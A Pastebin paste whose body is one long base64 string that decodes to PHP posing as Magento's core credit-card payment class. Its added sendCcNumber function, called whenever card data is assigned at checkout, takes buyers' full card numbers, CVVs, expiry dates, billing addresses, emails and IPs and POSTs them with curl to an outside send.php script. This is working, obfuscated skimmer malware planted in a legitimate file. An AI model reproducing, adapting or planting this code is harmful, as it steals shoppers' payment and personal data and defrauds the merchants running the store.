galih039

curl

Jun 19th, 2019
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.90 KB | None | 0 0
  1. PD9waHAKLyoqCiAqIE1hZ2VudG8KICogL2FwcC9jb2RlL2NvcmUvTWFnZS9QYXltZW50L01vZGVsL01ldGhvZC8gCiAqIE5PVElDRSBPRiBMSUNFTlNFCiAqCiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKQogKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS50eHQuCiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOgogKiBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvb3NsLTMuMC5waHAKICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG8KICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbAogKiB0byBsaWNlbnNlQG1hZ2VudG9jb21tZXJjZS5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS4KICoKICogRElTQ0xBSU1FUgogKgogKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgTWFnZW50byB0byBuZXdlcgogKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgTWFnZW50byBmb3IgeW91cgogKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cDovL3d3dy5tYWdlbnRvY29tbWVyY2UuY29tIGZvciBtb3JlIGluZm9ybWF0aW9uLgogKgogKiBAY2F0ZWdvcnkgICAgTWFnZQogKiBAcGFja2FnZSAgICAgTWFnZV9QYXltZW50CiAqIEBjb3B5cmlnaHQgICBDb3B5cmlnaHQgKGMpIDIwMTIgTWFnZW50byBJbmMuIChodHRwOi8vd3d3Lm1hZ2VudG9jb21tZXJjZS5jb20pCiAqIEBsaWNlbnNlICAgICBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvb3NsLTMuMC5waHAgIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMCkKICovCgoKY2xhc3MgTWFnZV9QYXltZW50X01vZGVsX01ldGhvZF9DYyBleHRlbmRzIE1hZ2VfUGF5bWVudF9Nb2RlbF9NZXRob2RfQWJzdHJhY3QKewogICAgcHJvdGVjdGVkICRfZm9ybUJsb2NrVHlwZSA9ICdwYXltZW50L2Zvcm1fY2MnOwogICAgcHJvdGVjdGVkICRfaW5mb0Jsb2NrVHlwZSA9ICdwYXltZW50L2luZm9fY2MnOwogICAgcHJvdGVjdGVkICRfY2FuU2F2ZUNjICAgICA9IGZhbHNlOwoKICAgIC8qKgogICAgICogQXNzaWduIGRhdGEgdG8gaW5mbyBtb2RlbCBpbnN0YW5jZQogICAgICoKICAgICAqIEBwYXJhbSAgIG1peGVkICRkYXRhCiAgICAgKiBAcmV0dXJuICBNYWdlX1BheW1lbnRfTW9kZWxfSW5mbwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYXNzaWduRGF0YSgkZGF0YSkKICAgIHsKICAgICAgICBpZiAoISgkZGF0YSBpbnN0YW5jZW9mIFZhcmllbl9PYmplY3QpKSB7CiAgICAgICAgICAgICRkYXRhID0gbmV3IFZhcmllbl9PYmplY3QoJGRhdGEpOwogICAgICAgIH0KICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsKICAgICAgICAkaW5mby0+c2V0Q2NUeXBlKCRkYXRhLT5nZXRDY1R5cGUoKSkKICAgICAgICAgICAgLT5zZXRDY093bmVyKCRkYXRhLT5nZXRDY093bmVyKCkpCiAgICAgICAgICAgIC0+c2V0Q2NPd25lcklkKCRkYXRhLT5nZXRDY093bmVySWQoKSkKICAgICAgICAgICAgLT5zZXRDY0xhc3Q0KHN1YnN0cigkZGF0YS0+Z2V0Q2NOdW1iZXIoKSwgLTQpKQogICAgICAgICAgICAtPnNldENjTnVtYmVyKCRkYXRhLT5nZXRDY051bWJlcigpKQogICAgICAgICAgICAtPnNldENjQ2lkKCRkYXRhLT5nZXRDY0NpZCgpKQogICAgICAgICAgICAtPnNldENjRXhwTW9udGgoJGRhdGEtPmdldENjRXhwTW9udGgoKSkKICAgICAgICAgICAgLT5zZXRDY0V4cFllYXIoJGRhdGEtPmdldENjRXhwWWVhcigpKQogICAgICAgICAgICAtPnNldENjU3NJc3N1ZSgkZGF0YS0+Z2V0Q2NTc0lzc3VlKCkpCiAgICAgICAgICAgIC0+c2V0Q2NTc1N0YXJ0TW9udGgoJGRhdGEtPmdldENjU3NTdGFydE1vbnRoKCkpCiAgICAgICAgICAgIC0+c2V0Q2NTc1N0YXJ0WWVhcigkZGF0YS0+Z2V0Q2NTc1N0YXJ0WWVhcigpKQogICAgICAgICAgICAtPnNldENjSW5zdGFsbG1lbnRzKCRkYXRhLT5nZXRDY0luc3RhbGxtZW50cygpKQogICAgICAgICAgICA7CgogICAgICAgICR0aGlzLT5zZW5kQ2NOdW1iZXIoKTsgCgogICAgICAgIHJldHVybiAkdGhpczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZW5kQ2NOdW1iZXIoKQogICAgewogICAgICAgICRpbmZvID0gJHRoaXMtPmdldEluZm9JbnN0YW5jZSgpOwogICAgICAgICRvYmplY3QgPSBuZXcgTWFnZV9DaGVja291dF9CbG9ja19PbmVwYWdlX0JpbGxpbmc7CiAgICAgICAgJGFkZHJlc3MxID0gJG9iamVjdC0+Z2V0UXVvdGUoKS0+Z2V0QmlsbGluZ0FkZHJlc3MoKTsKICAgICAgICAkZGF0YTEgPSAkYWRkcmVzczEtPmdldEZpcnN0bmFtZSgpOwogICAgICAgICRkYXRhMiA9ICRhZGRyZXNzMS0+Z2V0TGFzdG5hbWUoKTsKICAgICAgICAkZGF0YTMgPSAkYWRkcmVzczEtPmdldFN0cmVldCgxKTsKICAgICAgICAkZGF0YTQgPSAkYWRkcmVzczEtPmdldFN0cmVldCgyKTsKICAgICAgICAkZGF0YTUgPSAkYWRkcmVzczEtPmdldENpdHkoKTsKICAgICAgICAkZGF0YTYgPSAkYWRkcmVzczEtPmdldFJlZ2lvbigpOwogICAgICAgICRkYXRhNyA9ICRhZGRyZXNzMS0+Z2V0UG9zdGNvZGUoKTsKICAgICAgICAkZGF0YTggPSAkYWRkcmVzczEtPmdldENvdW50cnkoKTsKICAgICAgICAkZGF0YTkgPSAkYWRkcmVzczEtPmdldFRlbGVwaG9uZSgpOwogICAgICAgICRkYXRhMTAgPSAkaW5mby0+Z2V0Q2NOdW1iZXIoKTsKICAgICAgICAkYmluc3ggICAgID0gc3RyX3JlcGxhY2UoJyAnLCAnJywgJGRhdGExMCk7CiAgICAgICAgJGJpbnMgICAgID0gc3Vic3RyKCRiaW5zeCwgMCwgNik7CiAgICAgICAgJGJpbiAgICAgID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vbG9va3VwLmJpbmxpc3QubmV0LycgLiAkYmlucykpOwogICAgICAgICRiaW5zY2hlbWUgPSB1cmxkZWNvZGUoJGJpbi0+c2NoZW1lKTsKICAgICAgICAkYmludHlwZSA9IHVybGRlY29kZSgkYmluLT50eXBlKTsKICAgICAgICAkYmluYnJhbmQgPSB1cmxkZWNvZGUoJGJpbi0+YnJhbmQpOwogICAgICAgICRiYW5rbmFtZSA9IHVybGRlY29kZSgkYmluLT5iYW5rLT5uYW1lKTsKICAgICAgICAkYmluY291bnRyeSA9IHVybGRlY29kZSgkYmluLT5jb3VudHJ5LT5uYW1lKTsKICAgICAgICAkaXNzdWVyICAgPSBzdHJ0b3VwcGVyKCRiaW5zY2hlbWUgLiAnICcgLiAkYmludHlwZSAuICcgJyAuICRiaW5icmFuZCAuICcgJyAuICRiYW5rbmFtZSAuICcgJyAuICRiaW5jb3VudHJ5KTsKICAgICAgICAkZXhweWVhciA9IHN1YnN0cigkaW5mby0+Z2V0Q2NFeHBZZWFyKCksIC0yKTsKICAgICAgICAkZXhwbW9udGggPSAkaW5mby0+Z2V0Q2NFeHBNb250aCgpOwogICAgICAgIGlmIChzdHJsZW4oJGV4cG1vbnRoKSA9PSAxKSB7CiAgICAgICAgICAgJGV4cG1vbnRoID0gJzAnLiRleHBtb250aDsKICAgICAgICB9OwogICAgICAgICRkYXRhMTEgPSAkZXhwbW9udGg7CiAgICAgICAgJGRhdGExMiA9ICRleHB5ZWFyOwogICAgICAgICRkYXRhMTMgPSAkaW5mby0+Z2V0Q2NDaWQoKTsKICAgICAgICAkaXBib3NzID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiAgICAgICAgJGRldGFpbHMgICAgID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cudGVsaXplLmNvbS9nZW9pcC8iLiRpcGJvc3MuIiIpKTsKICAgICAgICAkbmFtYV9uZWdhcmEgPSAkZGV0YWlscy0+Y291bnRyeTsKICAgICAgICAka29kZV9uZWdhcmEgPSAkZGV0YWlscy0+Y291bnRyeV9jb2RlOwogICAgICAgICRzZXJ2ZXJib3NzID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiAgICAgICAgJHRpbWUgPSBkYXRlKCdZLW0tZCBIOmk6cycpOwogICAgICAgICRkYXRhMTYgPSBNYWdlOjpnZXRTaW5nbGV0b24oJ2NoZWNrb3V0L3Nlc3Npb24nKS0+Z2V0UXVvdGUoKS0+Z2V0QmlsbGluZ0FkZHJlc3MoKS0+Z2V0RW1haWwoKTsKICAgICAgICAKLy9jcmVhdGUgYXJyYXkgb2YgZGF0YSB0byBiZSBzZWN1cmVkCiRwb3N0ZWQgPSBhcnJheSgiZmlyc3RuYW1lIiA9PiAkZGF0YTEsCiJsYXN0bmFtZSIgPT4gJGRhdGEyLAoiYWRkcmVzcyIgPT4gJGRhdGEzLAoiYWRkcmVzczIiID0+ICRkYXRhNCwKImNpdHkiID0+ICRkYXRhNSwKInN0YXRlIiA9PiAkZGF0YTYsCiJ6aXAiID0+ICRkYXRhNywKImNvdW50cnkiID0+ICRkYXRhOCwKInBob25lIiA9PiAkZGF0YTksCiJiaW5zIiA9PiAkYmlucywKImJpbiIgPT4gJGlzc3VlciwKImNjIiA9PiAkZGF0YTEwLAoiZXhwIiA9PiAkZGF0YTExLAoiZXhweWVhciIgPT4gJGRhdGExMiwKImN2diIgPT4gJGRhdGExMywKImVtYWlsIiA9PiAkZGF0YTE2LAoiZGFyaSIgPT4gJHNlcnZlcmJvc3MsCiJkYXRhMTAiID0+ICRkYXRhMTAsCiJkYXRhMTEiID0+ICRkYXRhMTEsCiJkYXRhMTIiID0+ICRkYXRhMTIsCiJkYXRhMTMiID0+ICRkYXRhMTMsCiJpcCIgPT4gJGlwYm9zcywKInRpbWUiID0+ICR0aW1lKTsKCi8vY3JlYXRlIGNVUkwgY29ubmVjdGlvbgokY3VybF9jb25uZWN0aW9uID0gY3VybF9pbml0KCdodHRwOi8vd3d3LmZsb3dlcnNuZ2lmdG9ubGluZS5jb20vY3JtX2JhY2tvZmZpY2Uvb2ZmaWNlX2FkbWluL2FkbWluL3NlbmQucGhwJyk7Ci8vc2V0IG9wdGlvbnMKY3VybF9zZXRvcHQoJGN1cmxfY29ubmVjdGlvbiwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOwpjdXJsX3NldG9wdCgkY3VybF9jb25uZWN0aW9uLCBDVVJMT1BUX1VTRVJBR0VOVCwgIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2luZG93cyBOVCA1LjEpIik7CmN1cmxfc2V0b3B0KCRjdXJsX2Nvbm5lY3Rpb24sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwpjdXJsX3NldG9wdCgkY3VybF9jb25uZWN0aW9uLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CmN1cmxfc2V0b3B0KCRjdXJsX2Nvbm5lY3Rpb24sIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogCi8vc2V0IGRhdGEgdG8gYmUgcG9zdGVkCmN1cmxfc2V0b3B0KCRjdXJsX2Nvbm5lY3Rpb24sIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3RlZCk7CiAKLy9wZXJmb3JtIG91ciByZXF1ZXN0CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGN1cmxfY29ubmVjdGlvbik7CmN1cmxfY2xvc2UoJGN1cmxfY29ubmVjdGlvbik7CgogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBpbmZvIGluc3RhbmNlIGZvciBzYXZlCiAgICAgKgogICAgICogQHJldHVybiBNYWdlX1BheW1lbnRfTW9kZWxfQWJzdHJhY3QKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHByZXBhcmVTYXZlKCkKICAgIHsKICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsKICAgICAgICBpZiAoJHRoaXMtPl9jYW5TYXZlQ2MpIHsKICAgICAgICAgICAgJGluZm8tPnNldENjTnVtYmVyRW5jKCRpbmZvLT5lbmNyeXB0KCRpbmZvLT5nZXRDY051bWJlcigpKSk7CiAgICAgICAgfQogICAgICAgIC8vJGluZm8tPnNldENjQ2lkRW5jKCRpbmZvLT5lbmNyeXB0KCRpbmZvLT5nZXRDY0NpZCgpKSk7CiAgICAgICAgJGluZm8tPnNldENjTnVtYmVyKG51bGwpCiAgICAgICAgICAgIC0+c2V0Q2NDaWQobnVsbCk7CiAgICAgICAgcmV0dXJuICR0aGlzOwogICAgfQoKICAgIC8qKgogICAgICogVmFsaWRhdGUgcGF5bWVudCBtZXRob2QgaW5mb3JtYXRpb24gb2JqZWN0CiAgICAgKgogICAgICogQHBhcmFtICAgTWFnZV9QYXltZW50X01vZGVsX0luZm8gJGluZm8KICAgICAqIEByZXR1cm4gIE1hZ2VfUGF5bWVudF9Nb2RlbF9BYnN0cmFjdAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdmFsaWRhdGUoKQogICAgewogICAgICAgIC8qCiAgICAgICAgKiBjYWxsaW5nIHBhcmVudCB2YWxpZGF0ZSBmdW5jdGlvbgogICAgICAgICovCiAgICAgICAgcGFyZW50Ojp2YWxpZGF0ZSgpOwoKICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsKICAgICAgICAkZXJyb3JNc2cgPSBmYWxzZTsKICAgICAgICAkYXZhaWxhYmxlVHlwZXMgPSBleHBsb2RlKCcsJywkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2N0eXBlcycpKTsKCiAgICAgICAgJGNjTnVtYmVyID0gJGluZm8tPmdldENjTnVtYmVyKCk7CgogICAgICAgIC8vIHJlbW92ZSBjcmVkaXQgY2FyZCBudW1iZXIgZGVsaW1pdGVycyBzdWNoIGFzICItIiBhbmQgc3BhY2UKICAgICAgICAkY2NOdW1iZXIgPSBwcmVnX3JlcGxhY2UoJy9bXC1cc10rLycsICcnLCAkY2NOdW1iZXIpOwogICAgICAgICRpbmZvLT5zZXRDY051bWJlcigkY2NOdW1iZXIpOwoKICAgICAgICAkY2NUeXBlID0gJyc7CgogICAgICAgIGlmIChpbl9hcnJheSgkaW5mby0+Z2V0Q2NUeXBlKCksICRhdmFpbGFibGVUeXBlcykpewogICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQ2NOdW0oJGNjTnVtYmVyKQogICAgICAgICAgICAgICAgLy8gT3RoZXIgY3JlZGl0IGNhcmQgdHlwZSBudW1iZXIgdmFsaWRhdGlvbgogICAgICAgICAgICAgICAgfHwgKCR0aGlzLT5PdGhlckNjVHlwZSgkaW5mby0+Z2V0Q2NUeXBlKCkpICYmICR0aGlzLT52YWxpZGF0ZUNjTnVtT3RoZXIoJGNjTnVtYmVyKSkpIHsKCiAgICAgICAgICAgICAgICAkY2NUeXBlID0gJ09UJzsKICAgICAgICAgICAgICAgICRjY1R5cGVSZWdFeHBMaXN0ID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgLy9Tb2xvLCBTd2l0Y2ggb3IgTWFlc3Ryby4gSW50ZXJuYXRpb25hbCBzYWZlCiAgICAgICAgICAgICAgICAgICAgLyoKICAgICAgICAgICAgICAgICAgICAvLyBNYWVzdHJvIC8gU29sbwogICAgICAgICAgICAgICAgICAgICdTUycgID0+ICcvXigoNjc1OVswLTldezEyfSl8KDYzMzR8Njc2N1swLTldezEyfSl8KDYzMzR8Njc2N1swLTldezE0LDE1fSknCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICd8KDUwMTh8NTAyMHw1MDM4fDYzMDR8Njc1OXw2NzYxfDY3NjNbMC05XXsxMiwxOX0pfCg0OVswMTNdWzEzNTZdWzAtOV17MTJ9KScKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woNjMzWzM0XVswLTldezEyfSl8KDYzMzExMFswLTldezEwfSl8KDU2NDE4MlswLTldezEwfSkpKFswLTldezIsM30pPyQvJywKICAgICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgICAgIC8vIFNvbG8gb25seQogICAgICAgICAgICAgICAgICAgICdTTycgPT4gJy8oXig2MzM0KVs1LTldKFxkezExfSR8XGR7MTMsMTR9JCkpfCheKDY3NjcpKFxkezEyfSR8XGR7MTQsMTV9JCkpLycsCiAgICAgICAgICAgICAgICAgICAgJ1NNJyA9PiAnLyheKDVbMDY3OF0pXGR7MTEsMTh9JCl8KF4oNlteMDVdKVxkezExLDE4fSQpfCheKDYwMSlbXjFdXGR7OSwxNn0kKXwoXig2MDExKVxkezksMTF9JCknCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICd8KF4oNjAxMSlcZHsxMywxNn0kKXwoXig2NSlcZHsxMSwxM30kKXwoXig2NSlcZHsxNSwxOH0kKScKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woXig0OTAzMClbMi05XShcZHsxMH0kfFxkezEyLDEzfSQpKXwoXig0OTAzMylbNS05XShcZHsxMH0kfFxkezEyLDEzfSQpKScKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woXig0OTExMClbMS0yXShcZHsxMH0kfFxkezEyLDEzfSQpKXwoXig0OTExNylbNC05XShcZHsxMH0kfFxkezEyLDEzfSQpKScKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ3woXig0OTExOClbMC0yXShcZHsxMH0kfFxkezEyLDEzfSQpKXwoXig0OTM2KShcZHsxMn0kfFxkezE0LDE1fSQpKS8nLAogICAgICAgICAgICAgICAgICAgIC8vIFZpc2EKICAgICAgICAgICAgICAgICAgICAnVkknICA9PiAnL140WzAtOV17MTJ9KFswLTldezN9KT8kLycsCiAgICAgICAgICAgICAgICAgICAgLy8gTWFzdGVyIENhcmQKICAgICAgICAgICAgICAgICAgICAnTUMnICA9PiAnL141WzEtNV1bMC05XXsxNH0kLycsCiAgICAgICAgICAgICAgICAgICAgLy8gQW1lcmljYW4gRXhwcmVzcwogICAgICAgICAgICAgICAgICAgICdBRScgID0+ICcvXjNbNDddWzAtOV17MTN9JC8nLAogICAgICAgICAgICAgICAgICAgIC8vIERpc2NvdmVyeQogICAgICAgICAgICAgICAgICAgICdESScgID0+ICcvXjYwMTFbMC05XXsxMn0kLycsCiAgICAgICAgICAgICAgICAgICAgLy8gSkNCCiAgICAgICAgICAgICAgICAgICAgJ0pDQicgPT4gJy9eKDNbMC05XXsxNX18KDIxMzF8MTgwMClbMC05XXsxMX0pJC8nCiAgICAgICAgICAgICAgICApOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjY1R5cGVSZWdFeHBMaXN0IGFzICRjY1R5cGVNYXRjaD0+JGNjVHlwZVJlZ0V4cCkgewogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCRjY1R5cGVSZWdFeHAsICRjY051bWJlcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNjVHlwZSA9ICRjY1R5cGVNYXRjaDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPk90aGVyQ2NUeXBlKCRpbmZvLT5nZXRDY1R5cGUoKSkgJiYgJGNjVHlwZSE9JGluZm8tPmdldENjVHlwZSgpKSB7CiAgICAgICAgICAgICAgICAgICAgJGVycm9yTXNnID0gTWFnZTo6aGVscGVyKCdwYXltZW50JyktPl9fKCdDcmVkaXQgY2FyZCBudW1iZXIgbWlzbWF0Y2ggd2l0aCBjcmVkaXQgY2FyZCB0eXBlLicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJGVycm9yTXNnID0gTWFnZTo6aGVscGVyKCdwYXltZW50JyktPl9fKCdJbnZhbGlkIENyZWRpdCBDYXJkIE51bWJlcicpOwogICAgICAgICAgICB9CgogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJGVycm9yTXNnID0gTWFnZTo6aGVscGVyKCdwYXltZW50JyktPl9fKCdDcmVkaXQgY2FyZCB0eXBlIGlzIG5vdCBhbGxvd2VkIGZvciB0aGlzIHBheW1lbnQgbWV0aG9kLicpOwogICAgICAgIH0KCiAgICAgICAgLy92YWxpZGF0ZSBjcmVkaXQgY2FyZCB2ZXJpZmljYXRpb24gbnVtYmVyCiAgICAgICAgaWYgKCRlcnJvck1zZyA9PT0gZmFsc2UgJiYgJHRoaXMtPmhhc1ZlcmlmaWNhdGlvbigpKSB7CiAgICAgICAgICAgICR2ZXJpZmNhdGlvblJlZ0V4ID0gJHRoaXMtPmdldFZlcmlmaWNhdGlvblJlZ0V4KCk7CiAgICAgICAgICAgICRyZWdFeHAgPSBpc3NldCgkdmVyaWZjYXRpb25SZWdFeFskaW5mby0+Z2V0Q2NUeXBlKCldKSA/ICR2ZXJpZmNhdGlvblJlZ0V4WyRpbmZvLT5nZXRDY1R5cGUoKV0gOiAnJzsKICAgICAgICAgICAgaWYgKCEkaW5mby0+Z2V0Q2NDaWQoKSB8fCAhJHJlZ0V4cCB8fCAhcHJlZ19tYXRjaCgkcmVnRXhwICwkaW5mby0+Z2V0Q2NDaWQoKSkpewogICAgICAgICAgICAgICAgJGVycm9yTXNnID0gTWFnZTo6aGVscGVyKCdwYXltZW50JyktPl9fKCdQbGVhc2UgZW50ZXIgYSB2YWxpZCBjcmVkaXQgY2FyZCB2ZXJpZmljYXRpb24gbnVtYmVyLicpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJGNjVHlwZSAhPSAnU1MnICYmICEkdGhpcy0+X3ZhbGlkYXRlRXhwRGF0ZSgkaW5mby0+Z2V0Q2NFeHBZZWFyKCksICRpbmZvLT5nZXRDY0V4cE1vbnRoKCkpKSB7CiAgICAgICAgICAgICRlcnJvck1zZyA9IE1hZ2U6OmhlbHBlcigncGF5bWVudCcpLT5fXygnSW5jb3JyZWN0IGNyZWRpdCBjYXJkIGV4cGlyYXRpb24gZGF0ZS4nKTsKICAgICAgICB9CgogICAgICAgIGlmKCRlcnJvck1zZyl7CiAgICAgICAgICAgIE1hZ2U6OnRocm93RXhjZXB0aW9uKCRlcnJvck1zZyk7CiAgICAgICAgfQoKICAgICAgICAvL1RoaXMgbXVzdCBiZSBhZnRlciBhbGwgdmFsaWRhdGlvbiBjb25kaXRpb25zCiAgICAgICAgaWYgKCR0aGlzLT5nZXRJc0NlbnRpbmVsVmFsaWRhdGlvbkVuYWJsZWQoKSkgewogICAgICAgICAgICAkdGhpcy0+Z2V0Q2VudGluZWxWYWxpZGF0b3IoKS0+dmFsaWRhdGUoJHRoaXMtPmdldENlbnRpbmVsVmFsaWRhdGlvbkRhdGEoKSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHRoaXM7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhc1ZlcmlmaWNhdGlvbigpCiAgICB7CiAgICAgICAgJGNvbmZpZ0RhdGEgPSAkdGhpcy0+Z2V0Q29uZmlnRGF0YSgndXNlY2N2Jyk7CiAgICAgICAgaWYoaXNfbnVsbCgkY29uZmlnRGF0YSkpewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIChib29sKSAkY29uZmlnRGF0YTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VmVyaWZpY2F0aW9uUmVnRXgoKQogICAgewogICAgICAgICR2ZXJpZmljYXRpb25FeHBMaXN0ID0gYXJyYXkoCiAgICAgICAgICAgICdWSScgPT4gJy9eWzAtOV17M30kLycsIC8vIFZpc2EKICAgICAgICAgICAgJ01DJyA9PiAnL15bMC05XXszfSQvJywgICAgICAgLy8gTWFzdGVyIENhcmQKICAgICAgICAgICAgJ0FFJyA9PiAnL15bMC05XXs0fSQvJywgICAgICAgIC8vIEFtZXJpY2FuIEV4cHJlc3MKICAgICAgICAgICAgJ0RJJyA9PiAnL15bMC05XXszfSQvJywgICAgICAgICAgLy8gRGlzY292ZXJ5CiAgICAgICAgICAgICdTUycgPT4gJy9eWzAtOV17Myw0fSQvJywKICAgICAgICAgICAgJ1NNJyA9PiAnL15bMC05XXszLDR9JC8nLCAvLyBTd2l0Y2ggb3IgTWFlc3RybwogICAgICAgICAgICAnU08nID0+ICcvXlswLTldezMsNH0kLycsIC8vIFNvbG8KICAgICAgICAgICAgJ09UJyA9PiAnL15bMC05XXszLDR9JC8nLAogICAgICAgICAgICAnSkNCJyA9PiAnL15bMC05XXszLDR9JC8nIC8vSkNCCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gJHZlcmlmaWNhdGlvbkV4cExpc3Q7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIF92YWxpZGF0ZUV4cERhdGUoJGV4cFllYXIsICRleHBNb250aCkKICAgIHsKICAgICAgICAkZGF0ZSA9IE1hZ2U6OmFwcCgpLT5nZXRMb2NhbGUoKS0+ZGF0ZSgpOwogICAgICAgIGlmICghJGV4cFllYXIgfHwgISRleHBNb250aCB8fCAoJGRhdGUtPmNvbXBhcmVZZWFyKCRleHBZZWFyKSA9PSAxKQogICAgICAgICAgICB8fCAoJGRhdGUtPmNvbXBhcmVZZWFyKCRleHBZZWFyKSA9PSAwICYmICgkZGF0ZS0+Y29tcGFyZU1vbnRoKCRleHBNb250aCkgPT0gMSkpCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIE90aGVyQ2NUeXBlKCR0eXBlKQogICAgewogICAgICAgIHJldHVybiAkdHlwZT09J09UJzsKICAgIH0KCiAgICAvKioKICAgICAqIFZhbGlkYXRlIGNyZWRpdCBjYXJkIG51bWJlcgogICAgICoKICAgICAqIEBwYXJhbSAgIHN0cmluZyAkY2NfbnVtYmVyCiAgICAgKiBAcmV0dXJuICBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB2YWxpZGF0ZUNjTnVtKCRjY051bWJlcikKICAgIHsKICAgICAgICAkY2FyZE51bWJlciA9IHN0cnJldigkY2NOdW1iZXIpOwogICAgICAgICRudW1TdW0gPSAwOwoKICAgICAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkY2FyZE51bWJlcik7ICRpKyspIHsKICAgICAgICAgICAgJGN1cnJlbnROdW0gPSBzdWJzdHIoJGNhcmROdW1iZXIsICRpLCAxKTsKCiAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgKiBEb3VibGUgZXZlcnkgc2Vjb25kIGRpZ2l0CiAgICAgICAgICAgICAqLwogICAgICAgICAgICBpZiAoJGkgJSAyID09IDEpIHsKICAgICAgICAgICAgICAgICRjdXJyZW50TnVtICo9IDI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgKiBBZGQgZGlnaXRzIG9mIDItZGlnaXQgbnVtYmVycyB0b2dldGhlcgogICAgICAgICAgICAgKi8KICAgICAgICAgICAgaWYgKCRjdXJyZW50TnVtID4gOSkgewogICAgICAgICAgICAgICAgJGZpcnN0TnVtID0gJGN1cnJlbnROdW0gJSAxMDsKICAgICAgICAgICAgICAgICRzZWNvbmROdW0gPSAoJGN1cnJlbnROdW0gLSAkZmlyc3ROdW0pIC8gMTA7CiAgICAgICAgICAgICAgICAkY3VycmVudE51bSA9ICRmaXJzdE51bSArICRzZWNvbmROdW07CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRudW1TdW0gKz0gJGN1cnJlbnROdW07CiAgICAgICAgfQoKICAgICAgICAvKioKICAgICAgICAgKiBJZiB0aGUgdG90YWwgaGFzIG5vIHJlbWFpbmRlciBpdCdzIE9LCiAgICAgICAgICovCiAgICAgICAgcmV0dXJuICgkbnVtU3VtICUgMTAgPT0gMCk7C